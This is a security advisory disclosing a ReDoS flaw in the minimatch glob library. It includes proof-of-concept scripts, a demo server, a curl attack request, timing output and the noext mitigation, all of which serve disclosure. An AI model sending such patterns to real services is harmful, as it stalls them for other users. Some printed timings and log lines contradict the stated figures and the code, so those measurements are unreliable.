Tested on [email protected], Node.js 20. **Step 1 -- verify the generated regexps and timing (standalone script)** Save as `poc4-validate.mjs` and run with `node poc4-validate.mjs`: ```javascript import { minimatch, Minimatch } from 'minimatch' function timed(fn) { const s = process.hrtime.bigint() let result, error try { result = fn() } catch(e) { error = e } const ms = Number(process.hrtime.bigint() - s) / 1e6 return { ms, result, error } } // Verify generated regexps for (let depth = 1; depth <= 4; depth++) { let pat = 'a|b' for (let i = 0; i < depth; i++) pat = `*(${pat})` const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString() console.log(`depth=${depth} "${pat}" -> ${re}`) } // depth=1 "*(a|b)" -> /^(?:a|b)*$/ // depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ // depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ // depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ // Safe-length timing (exponential growth confirmation without multi-minute hang) const cases = [ ['*(*(*(a|b)))', 15], // ~270ms ['*(*(*(a|b)))', 17], // ~800ms ['*(*(*(a|b)))', 19], // ~2400ms ['*(*(a|b))', 23], // ~260ms ['*(a|b)', 101], // <5ms (depth=1 control) ] for (const [pat, n] of cases) { const t = timed(() => minimatch('a'.repeat(n) + 'z', pat)) console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`) } // Confirm noext disables the vulnerability const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true })) console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`) // +() is equally affected const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))')) console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`) ``` Observed output: ``` depth=1 "*(a|b)" -> /^(?:a|b)*$/ depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ "*(*(*(a|b)))" n=15: 269ms result=false "*(*(*(a|b)))" n=17: 268ms result=false "*(*(*(a|b)))" n=19: 2408ms result=false "*(*(a|b))" n=23: 257ms result=false "*(a|b)" n=101: 0ms result=false noext=true: 0ms (should be ~0ms) "+(+(+(a|b)))" n=18: 6300ms result=false ``` **Step 2 -- HTTP server (event loop starvation proof)** Save as `poc4-server.mjs`: ```javascript import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3001 http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`) res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }).listen(PORT, () => console.log(`listening on ${PORT}`)) ``` Terminal 1 -- start the server: ``` node poc4-server.mjs ``` Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately: ``` curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" & ``` Terminal 3 -- send a benign request while the attack is in-flight: ``` curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz" ``` **Observed output -- Terminal 2 (attack):** ``` {"result":false,"ms":"64149"} ``` **Observed output -- Terminal 3 (benign, concurrent):** ``` {"result":false,"ms":"0"} time_total: 63.022047s ``` **Terminal 1 (server log):** ``` [2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz" [2026-02-20T09:42:21.775Z] done in 64149ms result=false [2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz" [2026-02-20T09:42:21.779Z] done in 0ms result=false ``` The server reports `"ms":"0"` for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second `time_total` is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps. Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact. --- ### Impact Any context where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here. Depth 3 (`*(*(*(a|b)))`, 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (`*(*(a|b))`, 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard. `+()` extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed). **Mitigation available:** passing `{ noext: true }` to `minimatch()` disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.

Source published: 26 Feb 2026 22:07:15 UTC
Source modified: 10 Sep 2026 03:50:59 UTC
Saved here: 24 Oct 2026 13:17:17 UTC
Source terms: GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH